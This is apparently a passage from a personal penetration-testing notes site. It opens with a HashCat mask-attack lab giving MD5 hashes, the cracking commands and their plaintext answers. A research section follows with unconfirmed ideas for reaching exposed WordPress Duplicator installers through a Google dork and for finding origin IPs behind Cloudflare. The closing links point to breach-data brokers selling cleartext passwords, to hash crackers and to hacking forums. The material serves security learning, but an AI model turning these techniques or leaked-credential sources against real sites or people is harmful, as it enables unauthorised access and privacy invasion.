bb7409e82cb01b88edc816a6b2f3ec7d
9648562d660bdae8f7b6fa904adf0835
  • 6 small and 2 integers - aaaaaa11
0cbb58b38fb378ca24f7bdb80819bbfb
03299864cc4f7e28481953ac4f67d4b9
9923856e9980834f82b8880e1f84312a
9c40d47f195b1bb71f3986a2e075446c
3d33510bd0634dbd45e8edee26cd4be8
  • 1 large, 6 small, 1 integer - Aaaaaaa1
8897ee4653bc5a9a3680f991694cad4c
51eaef84f3930bf8aafd1fd75f258763
f413a92b7f3e8b995b8ea2c224722620
c8a45cf80c44f4080dd838d56562da0e
68a11527b34a50e20a0bb211236c03d4

Note: Answers can be found in this section!

HashCat Masked Attack - Answers

  • 8 small - aaaaaaaa
hashcat -a 3 -m 0 hashes.txt ?l?l?l?l?l?l?l?l
5f4dcc3b5aa765d61d8327deb882cf99 - password
9648562d660bdae8f7b6fa904adf0835 - magicfin
bb7409e82cb01b88edc816a6b2f3ec7d - necklace
bbb3606b5cab898386e0d9590278068e - werewolf
4755d074657c2afcfa0a05823a2b96a2 - fizzycup
  • 6 small and 2 integers - aaaaaa11
hashcat -a 3 -m 0 hashes.txt ?l?l?l?l?l?l?d?d
0cbb58b38fb378ca24f7bdb80819bbfb - banana12
9c40d47f195b1bb71f3986a2e075446c - mister77
3d33510bd0634dbd45e8edee26cd4be8 - canada59
03299864cc4f7e28481953ac4f67d4b9 - barely24
9923856e9980834f82b8880e1f84312a - rabbit86
  • 1 large, 6 small, 1 integer - Aaaaaaa1
hashcat -a 3 -m 0 hashes.txt ?u?l?l?l?l?l?l?d
68a11527b34a50e20a0bb211236c03d4 - Broccol1
8897ee4653bc5a9a3680f991694cad4c - Country7
f413a92b7f3e8b995b8ea2c224722620 - Gandalf4
51eaef84f3930bf8aafd1fd75f258763 - Barkley9
c8a45cf80c44f4080dd838d56562da0e - Bigbang6

Research

The research section is the section I add potential theories or endpoints i want to take a look at that may or may not be added to the notes in the future once confirmed it's a vulnerability. These should not be considered as a learning experience at all but could be worth researching yourself in interested.

Potential CloudFlare Disclosure

If an app uses cloudflare, navigate to the following endpoint and observe a potential internal gateway or IP address if misconfigured.

/cdn-cgi/trace

WP Plugin - Duplicator

Google Dork: inurl:"/wp-content/backups-dup-lite/"

May find something like this:

20201214_bananabay_2fbe2b83a6dc4e568688_20201214140243_scan.json
  • Theory
  1. Navigate to the following URL to gain a valid CSRF-token:
/wp-content/backups-dup-lite/20201214_bananabay_2fbe2b83a6dc4e568688_20201214140243_installer.php

Note:The name of company may be "bananabay"

  1. Navigate to the following URL if not redirected and note that the administrative interface for the duplicator plugin is accessible without authentication:
/wp-content/backups-dup-lite/dup-installer/main.installer.php

Search Engines

Need to find one that disregards robots.txt disallowence and scans directories anyways to find sensitive endpoints.

WAF Bypass -> General WAF Bypass

YT Video

Add "TLS Certificate method" to obtain a webservers IP despite having eg CloudFlare as a Proxy.

UUIDv1 - Sandwich attack

Sandwich, NOM!

SMTP Injection

SMTP Link

The To-Do List

Within the To-Do List, are the subjects i intend to cover in the future

CMS and Frameworks

  • WordPress specific Methodology Cheat Sheet
  • Django
  • Flask
  • Joomla
  • Kentico
  • Lando
  • Laravel
  • Magento
  • Magnolia
  • Nginx
  • PhpMyAdmin
  • SiteCore
  • Symfony
  • TYPO3
  • Umbraco

General Penetrationtesting

  • Methodology for all purpose websites
  • Directory Listing - Both General and common WordPress Specific paths/endpoints
  • UUID & GUID
  • BigIP Cookie
  • NetScaler Cookie
  • Amplified Asymmetric Resource Consumption
  • reCAPTCHA Bypass
  • Common Account Takeovers Techniques
  • WAF Bypass Techniques
  • Zip Bomb
  • 403 Forbidden Bypass Techniques
  • Composer Resources
  • CRLF - Carriage Return Line Feed
  • CSRF - Cross-site Request Forgery
  • Expression Engine Language Injection
  • SMTP Command Injection
  • File Upload Techniques
  • Git Repository Extraction
  • Google API Keys
  • GraphQL
  • HTTP Request Smuggling
  • LDAP Injection
  • LFI - Local File Inclusion
  • Malware & Virus Detection
  • .NRMPC files
  • OS Command Injection
  • Parameter Protection Bypass
  • S3 Buckets
  • SQL Injection
  • NoSQL Injection
  • SSRF - Server Side Request Forgery
  • SSTI - Server Side Template Injection
  • XXE - XML External Entity
  • Web Cache Poisoning

Tips and Tricks

  • BurpSuite Plugins
  • Path extraction from JavaScript Files
  • Linux Syntaxes - All purpose and good to know syntaxes eg merge wordlists or review PDF metadata on a mass scale or path shredding which may aid in creating wordlists.
  • Useful Scripts and Programs used during pentests
  • More Useful settings, such as Burp Quirks or remove annoying cached responses
  • Encodings - Learn to identify encoding and find secrets
  • Default Configurations in order to Fingerprint components

OSINT

  • People Tracking via Social Engineering - Such as tricking a victim in clicking a link and accessing the Camera, Microphone, GPS and bypassing VPN in other to track the victims location via web browser (More advanced than Grabify)
  • Mathemdatics of WiFi Triangulation
  • DeAnonymization Of Onion Websites

Privacy and Anonymity

  • Web Browsers
  • Browser Plugins
  • Phone
  • Application Alternatives - eg instead of YouTube
  • VPN

Flipper Zero

  • Edit Sub-GHz signals on the phone and convert the signals from a RAW file to a normal signal

Training Grounds

Small labs that may be done locally on your machine

  • HashCat Masks - Making password cracking faster with the knowledge of the passwords entropy

Description

Links to things i find interesting and where I've sourced my knowledge from

Guides / Blogs

Labs

  • Portswigger - Free, very detailed web application focused labs
  • Hack The Box - Free, but more with payed. Web applications and other hacking themes
  • Try Hack Me - Free, but more with payed. Web applications and other hacking themes
  • Flaws.Cloud - Free, Cloud Pentesting e.g S3 buckets/AWS
  • APISEC - Free API Pentesting Labs

Youtubers

Twitter (or "X")

  • p3n73st3r - Recent hacking news regarding PoC's and good tips-n-tricks!

Wordlists

Cyber Forums -> USE TOR

Some of these may have been taken down by the three-letter-agencies (It is highly recommended to use TOR on these sites, do not link your personal identity to these sites or any burner accounts you create!)

Data Brokers

Passwords

See Finding Leaked Credentials for manual password searching

  • LeakCheck - Payed (Lifetime) - Clear text passwords
  • SnusBase - Payed (Lifetime) - Clear text passwords, IP, Phone, Full Name etc
  • DeHashed - Payed (Monthly) - Clear text passwords, IP, Phone, Full Name etc
  • 0t.rocks - Free - Clear text passwords, IP, Phone, Full Name etc DEPRECATED
  • BreachDirectory - Free - Good for password hints. Tailor MaskAttack in HashCat
  • ProxyNova - Free - Somewhat good in finding passwords from "COMB" collection leak
  • DeepSearch ONION - Free - Not tested yet

Email Input

  • Epieos - Free - Search for identifiable information by email
  • HoleHe - Great tool to test for existing accounts on multiple applications

Username Input

  • WhatsMyName - Search for usernames used on multiple applications

Search Engines

  • Shodan - Free, but recommend payed. There's a lifetime subscription! They scan the whole internet and all ports, and giving you the information on their website. SUPER useful for passive information gathering
  • LeakIX - Free, Similar to Shodan
  • CenSys - Very Similar to Shodan

Online Hash Decryptors

  • CrackStation - Free - Easy way to see if a hash have been cracked!
  • Hashes - Free - Claims to crack hashes for free!

Proxy Tools

Others